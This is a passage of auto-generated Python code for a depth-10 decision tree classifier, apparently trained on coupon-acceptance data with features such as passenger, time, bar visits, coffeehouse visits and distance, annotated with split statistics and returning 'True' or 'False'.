elif obj[8]>0:
# {"feature": "Bar", "instances": 3, "metric_value": 0.4444, "depth": 10}
if obj[5]<=0.0:
return 'False'
else: return 'False'
else: return 'False'
elif obj[7]>1.0:
return 'True'
else: return 'True'
else: return 'True'
elif obj[4]>7.951351351351351:
# {"feature": "Direction_same", "instances": 71, "metric_value": 0.4524, "depth": 7}
if obj[8]<=0:
# {"feature": "Education", "instances": 39, "metric_value": 0.4732, "depth": 8}
if obj[3]>0:
# {"feature": "Bar", "instances": 29, "metric_value": 0.4606, "depth": 9}
if obj[5]<=3.0:
# {"feature": "Restaurant20to50", "instances": 28, "metric_value": 0.4675, "depth": 10}
if obj[7]>0.0:
return 'False'
elif obj[7]<=0.0:
return 'False'
else: return 'False'
elif obj[5]>3.0:
return 'False'
else: return 'False'
elif obj[3]<=0:
# {"feature": "Restaurant20to50", "instances": 10, "metric_value": 0.4444, "depth": 9}
if obj[7]<=1.0:
# {"feature": "Bar", "instances": 9, "metric_value": 0.4815, "depth": 10}
if obj[5]<=0.0:
return 'False'
elif obj[5]>0.0:
return 'True'
else: return 'True'
elif obj[7]>1.0:
return 'True'
else: return 'True'
else: return 'True'
elif obj[8]>0:
# {"feature": "Bar", "instances": 32, "metric_value": 0.3822, "depth": 8}
if obj[5]<=1.0:
# {"feature": "Restaurant20to50", "instances": 26, "metric_value": 0.3178, "depth": 9}
if obj[7]<=0.0:
# {"feature": "Education", "instances": 14, "metric_value": 0.4396, "depth": 10}
if obj[3]>0:
return 'True'
elif obj[3]<=0:
return 'True'
else: return 'True'
elif obj[7]>0.0:
# {"feature": "Education", "instances": 12, "metric_value": 0.1333, "depth": 10}
if obj[3]>0:
return 'True'
elif obj[3]<=0:
return 'True'
else: return 'True'
else: return 'True'
elif obj[5]>1.0:
# {"feature": "Education", "instances": 6, "metric_value": 0.25, "depth": 9}
if obj[3]<=0:
# {"feature": "Restaurant20to50", "instances": 4, "metric_value": 0.3333, "depth": 10}
if obj[7]>1.0:
return 'True'
elif obj[7]<=1.0:
return 'True'
else: return 'True'
elif obj[3]>0:
return 'False'
else: return 'False'
else: return 'True'
else: return 'True'
else: return 'True'
else: return 'False'
elif obj[9]>1:
# {"feature": "Bar", "instances": 427, "metric_value": 0.466, "depth": 5}
if obj[5]<=1.0:
# {"feature": "Restaurant20to50", "instances": 341, "metric_value": 0.4776, "depth": 6}
if obj[7]<=1.0:
# {"feature": "Occupation", "instances": 269, "metric_value": 0.4701, "depth": 7}
if obj[4]<=6:
# {"feature": "Time", "instances": 143, "metric_value": 0.4445, "depth": 8}
if obj[1]<=3:
# {"feature": "Education", "instances": 121, "metric_value": 0.4697, "depth": 9}
if obj[3]<=3:
# {"feature": "Direction_same", "instances": 108, "metric_value": 0.4664, "depth": 10}
if obj[8]<=0:
return 'False'
elif obj[8]>0:
return 'False'
else: return 'False'
elif obj[3]>3:
# {"feature": "Direction_same", "instances": 13, "metric_value": 0.4957, "depth": 10}
if obj[8]<=0:
return 'False'
elif obj[8]>0:
return 'False'
else: return 'False'
else: return 'False'
elif obj[1]>3:
# {"feature": "Education", "instances": 22, "metric_value": 0.2864, "depth": 9}
if obj[3]<=0:
# {"feature": "Direction_same", "instances": 12, "metric_value": 0.375, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
elif obj[3]>0:
# {"feature": "Direction_same", "instances": 10, "metric_value": 0.18, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
else: return 'False'
else: return 'False'
elif obj[4]>6:
# {"feature": "Education", "instances": 126, "metric_value": 0.4844, "depth": 8}
if obj[3]<=3:
# {"feature": "Direction_same", "instances": 115, "metric_value": 0.4801, "depth": 9}
if obj[8]<=0:
# {"feature": "Time", "instances": 81, "metric_value": 0.4525, "depth": 10}
if obj[1]>0:
return 'False'
elif obj[1]<=0:
return 'False'
else: return 'False'
elif obj[8]>0:
# {"feature": "Time", "instances": 34, "metric_value": 0.4303, "depth": 10}
if obj[1]>0:
return 'False'
elif obj[1]<=0:
return 'True'
else: return 'True'
else: return 'False'
elif obj[3]>3:
# {"feature": "Time", "instances": 11, "metric_value": 0.3961, "depth": 9}
if obj[1]<=2:
# {"feature": "Direction_same", "instances": 7, "metric_value": 0.1905, "depth": 10}
if obj[8]<=0:
return 'True'
elif obj[8]>0:
return 'False'
else: return 'False'
elif obj[1]>2:
# {"feature": "Direction_same", "instances": 4, "metric_value": 0.375, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
else: return 'False'
else: return 'True'
else: return 'False'
elif obj[7]>1.0:
# {"feature": "Education", "instances": 72, "metric_value": 0.4683, "depth": 7}
if obj[3]>0:
# {"feature": "Time", "instances": 52, "metric_value": 0.4623, "depth": 8}
if obj[1]>0:
# {"feature": "Occupation", "instances": 43, "metric_value": 0.4508, "depth": 9}
if obj[4]<=12:
# {"feature": "Direction_same", "instances": 39, "metric_value": 0.4959, "depth": 10}
if obj[8]<=0:
return 'False'
elif obj[8]>0:
return 'False'
else: return 'False'
elif obj[4]>12:
return 'False'
else: return 'False'
elif obj[1]<=0:
# {"feature": "Occupation", "instances": 9, "metric_value": 0.1944, "depth": 9}
if obj[4]<=12:
# {"feature": "Direction_same", "instances": 8, "metric_value": 0.2188, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
elif obj[4]>12:
return 'True'
else: return 'True'
else: return 'False'
elif obj[3]<=0:
# {"feature": "Occupation", "instances": 20, "metric_value": 0.375, "depth": 8}
if obj[4]<=7:
# {"feature": "Time", "instances": 16, "metric_value": 0.3462, "depth": 9}
if obj[1]<=3:
# {"feature": "Direction_same", "instances": 13, "metric_value": 0.4126, "depth": 10}
if obj[8]<=0:
return 'True'
elif obj[8]>0:
return 'False'
else: return 'False'
elif obj[1]>3:
return 'True'
else: return 'True'
elif obj[4]>7:
# {"feature": "Direction_same", "instances": 4, "metric_value": 0.0, "depth": 9}
if obj[8]<=0:
return 'False'
elif obj[8]>0:
return 'True'
else: return 'True'
else: return 'False'
else: return 'True'
else: return 'False'
elif obj[5]>1.0:
# {"feature": "Occupation", "instances": 86, "metric_value": 0.3849, "depth": 6}
if obj[4]>5:
# {"feature": "Education", "instances": 64, "metric_value": 0.4409, "depth": 7}
if obj[3]<=2:
# {"feature": "Time", "instances": 58, "metric_value": 0.4183, "depth": 8}
if obj[1]>0:
# {"feature": "Restaurant20to50", "instances": 47, "metric_value": 0.3969, "depth": 9}
if obj[7]<=2.0:
# {"feature": "Direction_same", "instances": 46, "metric_value": 0.4038, "depth": 10}
if obj[8]<=0:
return 'False'
elif obj[8]>0:
return 'False'
else: return 'False'
elif obj[7]>2.0:
return 'False'
else: return 'False'
elif obj[1]<=0:
# {"feature": "Direction_same", "instances": 11, "metric_value": 0.297, "depth": 9}
if obj[8]>0:
# {"feature": "Restaurant20to50", "instances": 6, "metric_value": 0.25, "depth": 10}
if obj[7]>0.0:
return 'True'
elif obj[7]<=0.0:
return 'True'
else: return 'True'
elif obj[8]<=0:
# {"feature": "Restaurant20to50", "instances": 5, "metric_value": 0.3, "depth": 10}
if obj[7]>0.0:
return 'False'
elif obj[7]<=0.0:
return 'False'
else: return 'False'
else: return 'False'
else: return 'True'
elif obj[3]>2:
# {"feature": "Direction_same", "instances": 6, "metric_value": 0.2667, "depth": 8}
if obj[8]<=0:
# {"feature": "Time", "instances": 5, "metric_value": 0.2667, "depth": 9}
if obj[1]<=1:
# {"feature": "Restaurant20to50", "instances": 3, "metric_value": 0.4444, "depth": 10}
if obj[7]<=1.0:
return 'True'
else: return 'True'
elif obj[1]>1:
return 'True'
else: return 'True'
elif obj[8]>0:
return 'False'
else: return 'False'
else: return 'True'
elif obj[4]<=5:
# {"feature": "Time", "instances": 22, "metric_value": 0.0909, "depth": 7}
if obj[1]>0:
return 'False'
elif obj[1]<=0:
# {"feature": "Education", "instances": 4, "metric_value": 0.3333, "depth": 8}
if obj[3]>0:
# {"feature": "Restaurant20to50", "instances": 3, "metric_value": 0.0, "depth": 9}
if obj[7]<=1.0:
return 'False'
elif obj[7]>1.0:
return 'True'
else: return 'True'
elif obj[3]<=0:
return 'True'
else: return 'True'
else: return 'False'
else: return 'False'
else: return 'False'
else: return 'False'
elif obj[0]>1:
# {"feature": "Distance", "instances": 527, "metric_value": 0.4617, "depth": 4}
if obj[9]>1:
# {"feature": "Bar", "instances": 356, "metric_value": 0.4414, "depth": 5}
if obj[5]<=2.0:
# {"feature": "Time", "instances": 323, "metric_value": 0.4297, "depth": 6}
if obj[1]>0:
# {"feature": "Restaurant20to50", "instances": 252, "metric_value": 0.4506, "depth": 7}
if obj[7]>-1.0:
# {"feature": "Occupation", "instances": 241, "metric_value": 0.4626, "depth": 8}
if obj[4]<=7.132780082987552:
# {"feature": "Education", "instances": 160, "metric_value": 0.4669, "depth": 9}
if obj[3]<=1:
# {"feature": "Direction_same", "instances": 89, "metric_value": 0.4469, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[3]>1:
# {"feature": "Direction_same", "instances": 71, "metric_value": 0.492, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
elif obj[4]>7.132780082987552:
# {"feature": "Education", "instances": 81, "metric_value": 0.4416, "depth": 9}
if obj[3]<=3:
# {"feature": "Direction_same", "instances": 77, "metric_value": 0.4385, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[3]>3:
# {"feature": "Direction_same", "instances": 4, "metric_value": 0.5, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
else: return 'False'
else: return 'True'
elif obj[7]<=-1.0:
# {"feature": "Occupation", "instances": 11, "metric_value": 0.1515, "depth": 8}
if obj[4]>6:
# {"feature": "Education", "instances": 6, "metric_value": 0.25, "depth": 9}
if obj[3]<=0:
# {"feature": "Direction_same", "instances": 4, "metric_value": 0.375, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[3]>0:
return 'True'
else: return 'True'
elif obj[4]<=6:
return 'True'
else: return 'True'
else: return 'True'
elif obj[1]<=0:
# {"feature": "Restaurant20to50", "instances": 71, "metric_value": 0.2784, "depth": 7}
if obj[7]>-1.0:
# {"feature": "Occupation", "instances": 68, "metric_value": 0.28, "depth": 8}
if obj[4]<=9:
# {"feature": "Education", "instances": 47, "metric_value": 0.215, "depth": 9}
if obj[3]<=2:
# {"feature": "Direction_same", "instances": 38, "metric_value": 0.2659, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[3]>2:
return 'True'
else: return 'True'
elif obj[4]>9:
# {"feature": "Education", "instances": 21, "metric_value": 0.3866, "depth": 9}
if obj[3]>0:
# {"feature": "Direction_same", "instances": 17, "metric_value": 0.3599, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[3]<=0:
# {"feature": "Direction_same", "instances": 4, "metric_value": 0.5, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
else: return 'True'
elif obj[7]<=-1.0:
return 'False'
else: return 'False'
else: return 'True'
elif obj[5]>2.0:
# {"feature": "Occupation", "instances": 33, "metric_value": 0.4242, "depth": 6}
if obj[4]<=18:
# {"feature": "Time", "instances": 28, "metric_value": 0.4792, "depth": 7}
if obj[1]>0:
# {"feature": "Education", "instances": 24, "metric_value": 0.4921, "depth": 8}
if obj[3]<=2:
# {"feature": "Restaurant20to50", "instances": 21, "metric_value": 0.4952, "depth": 9}
if obj[7]>0.0:
# {"feature": "Direction_same", "instances": 16, "metric_value": 0.5, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
elif obj[7]<=0.0:
# {"feature": "Direction_same", "instances": 5, "metric_value": 0.48, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
else: return 'False'
elif obj[3]>2:
# {"feature": "Restaurant20to50", "instances": 3, "metric_value": 0.4444, "depth": 9}
if obj[7]<=1.0:
# {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
else: return 'False'
else: return 'False'
elif obj[1]<=0:
# {"feature": "Restaurant20to50", "instances": 4, "metric_value": 0.25, "depth": 8}
if obj[7]<=1.0:
return 'True'
elif obj[7]>1.0:
# {"feature": "Education", "instances": 2, "metric_value": 0.5, "depth": 9}
if obj[3]<=2:
# {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
else: return 'True'
else: return 'True'
elif obj[4]>18:
return 'False'
else: return 'False'
else: return 'False'
elif obj[9]<=1:
# {"feature": "Occupation", "instances": 171, "metric_value": 0.4644, "depth": 5}
if obj[4]>1.3264107549745603:
# {"feature": "Education", "instances": 137, "metric_value": 0.4459, "depth": 6}
if obj[3]<=3:
# {"feature": "Time", "instances": 126, "metric_value": 0.432, "depth": 7}
if obj[1]>0:
# {"feature": "Bar", "instances": 94, "metric_value": 0.3985, "depth": 8}
if obj[5]<=3.0:
# {"feature": "Restaurant20to50", "instances": 93, "metric_value": 0.3939, "depth": 9}
if obj[7]<=2.0:
# {"feature": "Direction_same", "instances": 88, "metric_value": 0.4163, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
elif obj[7]>2.0:
return 'False'
else: return 'False'
elif obj[5]>3.0:
return 'True'
else: return 'True'
elif obj[1]<=0:
# {"feature": "Bar", "instances": 32, "metric_value": 0.4688, "depth": 8}
if obj[5]>-1.0:
# {"feature": "Restaurant20to50", "instances": 30, "metric_value": 0.4974, "depth": 9}
if obj[7]<=1.0:
# {"feature": "Direction_same", "instances": 21, "metric_value": 0.4989, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[7]>1.0:
# {"feature": "Direction_same", "instances": 9, "metric_value": 0.4938, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
else: return 'False'
elif obj[5]<=-1.0:
return 'False'
else: return 'False'
else: return 'False'
elif obj[3]>3:
# {"feature": "Bar", "instances": 11, "metric_value": 0.1455, "depth": 7}
if obj[5]<=0.0:
return 'True'
elif obj[5]>0.0:
# {"feature": "Restaurant20to50", "instances": 5, "metric_value": 0.2667, "depth": 8}
if obj[7]<=0.0:
# {"feature": "Time", "instances": 3, "metric_value": 0.3333, "depth": 9}
if obj[1]>0:
# {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[1]<=0:
return 'False'
else: return 'False'
elif obj[7]>0.0:
return 'False'
else: return 'False'
else: return 'False'
else: return 'True'
elif obj[4]<=1.3264107549745603:
# {"feature": "Education", "instances": 34, "metric_value": 0.444, "depth": 6}
if obj[3]>1:
# {"feature": "Restaurant20to50", "instances": 18, "metric_value": 0.3704, "depth": 7}
if obj[7]<=1.0:
# {"feature": "Bar", "instances": 15, "metric_value": 0.4103, "depth": 8}
if obj[5]<=2.0:
# {"feature": "Time", "instances": 13, "metric_value": 0.4256, "depth": 9}
if obj[1]>0:
# {"feature": "Direction_same", "instances": 10, "metric_value": 0.42, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[1]<=0:
# {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
else: return 'False'
elif obj[5]>2.0:
return 'True'
else: return 'True'
elif obj[7]>1.0:
return 'True'
else: return 'True'
elif obj[3]<=1:
# {"feature": "Restaurant20to50", "instances": 16, "metric_value": 0.4271, "depth": 7}
if obj[7]<=1.0:
# {"feature": "Time", "instances": 12, "metric_value": 0.3429, "depth": 8}
if obj[1]<=2:
# {"feature": "Bar", "instances": 7, "metric_value": 0.2286, "depth": 9}
if obj[5]<=0.0:
# {"feature": "Direction_same", "instances": 5, "metric_value": 0.32, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
elif obj[5]>0.0:
return 'False'
else: return 'False'
elif obj[1]>2:
# {"feature": "Bar", "instances": 5, "metric_value": 0.48, "depth": 9}
if obj[5]<=0.0:
# {"feature": "Direction_same", "instances": 5, "metric_value": 0.48, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
else: return 'True'
elif obj[7]>1.0:
# {"feature": "Time", "instances": 4, "metric_value": 0.0, "depth": 8}
if obj[1]<=3:
return 'True'
elif obj[1]>3:
return 'False'
else: return 'False'
else: return 'True'
else: return 'False'
else: return 'True'
else: return 'False'
else: return 'True'
else: return 'True'
elif obj[2]<=1:
# {"feature": "Bar", "instances": 2281, "metric_value": 0.4567, "depth": 2}
if obj[5]<=1.0:
# {"feature": "Occupation", "instances": 1601, "metric_value": 0.4436, "depth": 3}
if obj[4]>1.887387522319548:
# {"feature": "Education", "instances": 1333, "metric_value": 0.4585, "depth": 4}
if obj[3]>0:
# {"feature": "Time", "instances": 882, "metric_value": 0.438, "depth": 5}
if obj[1]>0:
# {"feature": "Coffeehouse", "instances": 613, "metric_value": 0.4124, "depth": 6}
if obj[6]<=3.0:
# {"feature": "Direction_same", "instances": 574, "metric_value": 0.4244, "depth": 7}
if obj[8]<=0:
# {"feature": "Restaurant20to50", "instances": 515, "metric_value": 0.4338, "depth": 8}
if obj[7]<=1.0:
# {"feature": "Passanger", "instances": 361, "metric_value": 0.4108, "depth": 9}
if obj[0]<=2:
# {"feature": "Distance", "instances": 303, "metric_value": 0.3955, "depth": 10}
if obj[9]<=2:
return 'False'
elif obj[9]>2:
return 'False'
else: return 'False'
elif obj[0]>2:
# {"feature": "Distance", "instances": 58, "metric_value": 0.4786, "depth": 10}
if obj[9]>1:
return 'False'
elif obj[9]<=1:
return 'False'
else: return 'False'
else: return 'False'
elif obj[7]>1.0:
# {"feature": "Distance", "instances": 154, "metric_value": 0.465, "depth": 9}
if obj[9]>1:
# {"feature": "Passanger", "instances": 108, "metric_value": 0.447, "depth": 10}
if obj[0]<=2:
return 'False'
elif obj[0]>2:
return 'False'
else: return 'False'
elif obj[9]<=1:
# {"feature": "Passanger", "instances": 46, "metric_value": 0.49, "depth": 10}
if obj[0]<=1:
return 'True'
elif obj[0]>1:
return 'False'
else: return 'False'
else: return 'True'
else: return 'False'
elif obj[8]>0:
# {"feature": "Restaurant20to50", "instances": 59, "metric_value": 0.2805, "depth": 8}
if obj[7]<=3.0:
# {"feature": "Passanger", "instances": 58, "metric_value": 0.2819, "depth": 9}
if obj[0]<=1:
# {"feature": "Distance", "instances": 51, "metric_value": 0.263, "depth": 10}
if obj[9]>1:
return 'False'
elif obj[9]<=1:
return 'False'
else: return 'False'
elif obj[0]>1:
# {"feature": "Distance", "instances": 7, "metric_value": 0.4082, "depth": 10}
if obj[9]<=2:
return 'False'
else: return 'False'
else: return 'False'
elif obj[7]>3.0:
return 'True'
else: return 'True'
else: return 'False'
elif obj[6]>3.0:
# {"feature": "Passanger", "instances": 39, "metric_value": 0.148, "depth": 7}
if obj[0]<=2:
# {"feature": "Distance", "instances": 35, "metric_value": 0.1048, "depth": 8}
if obj[9]<=2:
# {"feature": "Direction_same", "instances": 24, "metric_value": 0.15, "depth": 9}
if obj[8]<=0:
# {"feature": "Restaurant20to50", "instances": 20, "metric_value": 0.1765, "depth": 10}
if obj[7]<=2.0:
return 'False'
elif obj[7]>2.0:
return 'False'
else: return 'False'
elif obj[8]>0:
return 'False'
else: return 'False'
elif obj[9]>2:
return 'False'
else: return 'False'
elif obj[0]>2:
# {"feature": "Restaurant20to50", "instances": 4, "metric_value": 0.3333, "depth": 8}
if obj[7]<=1.0:
# {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 9}
if obj[8]<=0:
# {"feature": "Distance", "instances": 3, "metric_value": 0.4444, "depth": 10}
if obj[9]<=2:
return 'True'
else: return 'True'
else: return 'True'
elif obj[7]>1.0:
return 'False'
else: return 'False'
else: return 'False'
else: return 'False'
elif obj[1]<=0:
# {"feature": "Restaurant20to50", "instances": 269, "metric_value": 0.4746, "depth": 6}
if obj[7]<=1.0:
# {"feature": "Coffeehouse", "instances": 193, "metric_value": 0.4579, "depth": 7}
if obj[6]>-1.0:
# {"feature": "Distance", "instances": 188, "metric_value": 0.4641, "depth": 8}
if obj[9]<=2:
# {"feature": "Direction_same", "instances": 166, "metric_value": 0.4761, "depth": 9}
if obj[8]<=0:
# {"feature": "Passanger", "instances": 86, "metric_value": 0.4493, "depth": 10}
if obj[0]>0:
return 'False'
elif obj[0]<=0:
return 'False'
else: return 'False'
elif obj[8]>0:
# {"feature": "Passanger", "instances": 80, "metric_value": 0.4916, "depth": 10}
if obj[0]<=1:
return 'False'
elif obj[0]>1:
return 'True'
else: return 'True'
else: return 'False'
elif obj[9]>2:
# {"feature": "Passanger", "instances": 22, "metric_value": 0.2944, "depth": 9}
if obj[0]<=1:
# {"feature": "Direction_same", "instances": 21, "metric_value": 0.3084, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
elif obj[0]>1:
return 'True'
else: return 'True'
else: return 'False'
elif obj[6]<=-1.0:
return 'False'
else: return 'False'
elif obj[7]>1.0:
# {"feature": "Passanger", "instances": 76, "metric_value": 0.4869, "depth": 7}
if obj[0]<=1:
# {"feature": "Distance", "instances": 58, "metric_value": 0.4701, "depth": 8}
if obj[9]<=2:
# {"feature": "Coffeehouse", "instances": 49, "metric_value": 0.4592, "depth": 9}
if obj[6]<=1.0:
# {"feature": "Direction_same", "instances": 28, "metric_value": 0.4955, "depth": 10}
if obj[8]>0:
return 'True'
elif obj[8]<=0:
return 'True'
else: return 'True'
elif obj[6]>1.0:
# {"feature": "Direction_same", "instances": 21, "metric_value": 0.4021, "depth": 10}
if obj[8]>0:
return 'True'
elif obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
elif obj[9]>2:
# {"feature": "Coffeehouse", "instances": 9, "metric_value": 0.2667, "depth": 9}
if obj[6]<=1.0:
# {"feature": "Direction_same", "instances": 5, "metric_value": 0.48, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[6]>1.0:
return 'False'
else: return 'False'
else: return 'False'
elif obj[0]>1:
# {"feature": "Distance", "instances": 18, "metric_value": 0.4148, "depth": 8}
if obj[9]>1:
# {"feature": "Coffeehouse", "instances": 15, "metric_value": 0.3905, "depth": 9}
if obj[6]>1.0:
# {"feature": "Direction_same", "instances": 8, "metric_value": 0.3333, "depth": 10}
if obj[8]<=0:
return 'False'
elif obj[8]>0:
return 'False'
else: return 'False'
elif obj[6]<=1.0:
# {"feature": "Direction_same", "instances": 7, "metric_value": 0.3714, "depth": 10}
if obj[8]<=0:
return 'True'
elif obj[8]>0:
return 'True'
else: return 'True'
else: return 'True'
elif obj[9]<=1:
return 'False'
else: return 'False'
else: return 'False'
else: return 'True'
else: return 'False'
elif obj[3]<=0:
# {"feature": "Restaurant20to50", "instances": 451, "metric_value": 0.4786, "depth": 5}
if obj[7]<=2.0:
# {"feature": "Coffeehouse", "instances": 425, "metric_value": 0.4768, "depth": 6}
if obj[6]>-1.0:
# {"feature": "Time", "instances": 422, "metric_value": 0.4766, "depth": 7}
if obj[1]<=3:
# {"feature": "Passanger", "instances": 342, "metric_value": 0.4842, "depth": 8}
if obj[0]>0:
# {"feature": "Distance", "instances": 309, "metric_value": 0.4823, "depth": 9}
if obj[9]>1:
# {"feature": "Direction_same", "instances": 227, "metric_value": 0.4867, "depth": 10}
if obj[8]<=0:
return 'False'
elif obj[8]>0:
return 'False'
else: return 'False'
elif obj[9]<=1:
# {"feature": "Direction_same", "instances": 82, "metric_value": 0.47, "depth": 10}
if obj[8]>0:
return 'False'
elif obj[8]<=0:
return 'False'
else: return 'False'
else: return 'False'
elif obj[0]<=0:
# {"feature": "Distance", "instances": 33, "metric_value": 0.4481, "depth": 9}
if obj[9]>1:
# {"feature": "Direction_same", "instances": 21, "metric_value": 0.4898, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
elif obj[9]<=1:
# {"feature": "Direction_same", "instances": 12, "metric_value": 0.375, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
else: return 'True'
elif obj[1]>3:
# {"feature": "Passanger", "instances": 80, "metric_value": 0.4119, "depth": 8}
if obj[0]>0:
# {"feature": "Distance", "instances": 53, "metric_value": 0.3645, "depth": 9}
if obj[9]<=1:
# {"feature": "Direction_same", "instances": 31, "metric_value": 0.4121, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
elif obj[9]>1:
# {"feature": "Direction_same", "instances": 22, "metric_value": 0.2975, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
else: return 'False'
elif obj[0]<=0:
# {"feature": "Distance", "instances": 27, "metric_value": 0.4921, "depth": 9}
if obj[9]<=1:
# {"feature": "Direction_same", "instances": 21, "metric_value": 0.4898, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
elif obj[9]>1:
# {"feature": "Direction_same", "instances": 6, "metric_value": 0.5, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
else: return 'False'
else: return 'False'
else: return 'False'
elif obj[6]<=-1.0:
return 'True'
else: return 'True'
elif obj[7]>2.0:
# {"feature": "Passanger", "instances": 26, "metric_value": 0.4141, "depth": 6}
if obj[0]<=2:
# {"feature": "Time", "instances": 20, "metric_value": 0.44, "depth": 7}
if obj[1]>0:
# {"feature": "Direction_same", "instances": 15, "metric_value": 0.3909, "depth": 8}
if obj[8]<=0:
# {"feature": "Coffeehouse", "instances": 11, "metric_value": 0.2909, "depth": 9}
if obj[6]<=2.0:
# {"feature": "Distance", "instances": 10, "metric_value": 0.3, "depth": 10}
if obj[9]<=2:
return 'True'
elif obj[9]>2:
return 'True'
else: return 'True'
elif obj[6]>2.0:
return 'False'
else: return 'False'
elif obj[8]>0:
# {"feature": "Distance", "instances": 4, "metric_value": 0.0, "depth": 9}
if obj[9]>1:
return 'False'
elif obj[9]<=1:
return 'True'
else: return 'True'
else: return 'False'
elif obj[1]<=0:
# {"feature": "Distance", "instances": 5, "metric_value": 0.0, "depth": 8}
if obj[9]<=2:
return 'True'
elif obj[9]>2:
return 'False'
else: return 'False'
else: return 'True'
elif obj[0]>2:
# {"feature": "Coffeehouse", "instances": 6, "metric_value": 0.2222, "depth": 7}
if obj[6]<=1.0:
# {"feature": "Time", "instances": 3, "metric_value": 0.0, "depth": 8}
if obj[1]<=2:
return 'True'
elif obj[1]>2:
return 'False'
else: return 'False'
elif obj[6]>1.0:
return 'True'
else: return 'True'
else: return 'True'
else: return 'True'
else: return 'False'
elif obj[4]<=1.887387522319548:
# {"feature": "Education", "instances": 268, "metric_value": 0.3409, "depth": 4}
if obj[3]<=3:
# {"feature": "Restaurant20to50", "instances": 250, "metric_value": 0.3173, "depth": 5}
if obj[7]>0.0:
# {"feature": "Coffeehouse", "instances": 204, "metric_value": 0.3657, "depth": 6}
if obj[6]<=1.0:
# {"feature": "Passanger", "instances": 121, "metric_value": 0.3252, "depth": 7}
if obj[0]<=2:
# {"feature": "Time", "instances": 100, "metric_value": 0.3062, "depth": 8}
if obj[1]>0:
# {"feature": "Direction_same", "instances": 70, "metric_value": 0.2832, "depth": 9}
if obj[8]<=0:
# {"feature": "Distance", "instances": 56, "metric_value": 0.2616, "depth": 10}
if obj[9]>1:
return 'False'
elif obj[9]<=1:
return 'False'
else: return 'False'
elif obj[8]>0:
# {"feature": "Distance", "instances": 14, "metric_value": 0.2449, "depth": 10}
if obj[9]>1:
return 'False'
elif obj[9]<=1:
return 'False'
else: return 'False'
else: return 'False'
elif obj[1]<=0:
# {"feature": "Distance", "instances": 30, "metric_value": 0.35, "depth": 9}
if obj[9]<=2:
# {"feature": "Direction_same", "instances": 28, "metric_value": 0.3743, "depth": 10}
if obj[8]>0:
return 'False'
elif obj[8]<=0:
return 'False'
else: return 'False'
elif obj[9]>2:
return 'False'
else: return 'False'
else: return 'False'
elif obj[0]>2:
# {"feature": "Time", "instances": 21, "metric_value": 0.3714, "depth": 8}
if obj[1]>2:
# {"feature": "Distance", "instances": 15, "metric_value": 0.3143, "depth": 9}
if obj[9]>1:
# {"feature": "Direction_same", "instances": 14, "metric_value": 0.3367, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
elif obj[9]<=1:
return 'False'
else: return 'False'
elif obj[1]<=2:
# {"feature": "Direction_same", "instances": 6, "metric_value": 0.5, "depth": 9}
if obj[8]<=0:
# {"feature": "Distance", "instances": 6, "metric_value": 0.5, "depth": 10}
if obj[9]<=2:
return 'True'
else: return 'True'
else: return 'True'
else: return 'True'
else: return 'False'
elif obj[6]>1.0:
# {"feature": "Distance", "instances": 83, "metric_value": 0.4109, "depth": 7}
if obj[9]<=2:
# {"feature": "Passanger", "instances": 65, "metric_value": 0.4364, "depth": 8}
if obj[0]>0:
# {"feature": "Time", "instances": 60, "metric_value": 0.4303, "depth": 9}
if obj[1]<=3:
# {"feature": "Direction_same", "instances": 55, "metric_value": 0.4397, "depth": 10}
if obj[8]<=0:
return 'False'
elif obj[8]>0:
return 'False'
else: return 'False'
elif obj[1]>3:
# {"feature": "Direction_same", "instances": 5, "metric_value": 0.32, "depth": 10}
if obj[8]<=0:
return 'False'
else: return 'False'
else: return 'False'
elif obj[0]<=0:
# {"feature": "Time", "instances": 5, "metric_value": 0.4667, "depth": 9}
if obj[1]<=0:
# {"feature": "Direction_same", "instances": 3, "metric_value": 0.4444, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
elif obj[1]>0:
# {"feature": "Direction_same", "instances": 2, "metric_value": 0.5, "depth": 10}
if obj[8]<=0:
return 'True'
else: return 'True'
else: return 'True'
else: return 'True'
elif obj[9]>2:
# {"feature": "Passanger", "instances": 18, "metric_value": 0.1961, "depth": 8}
if obj[0]<=1:
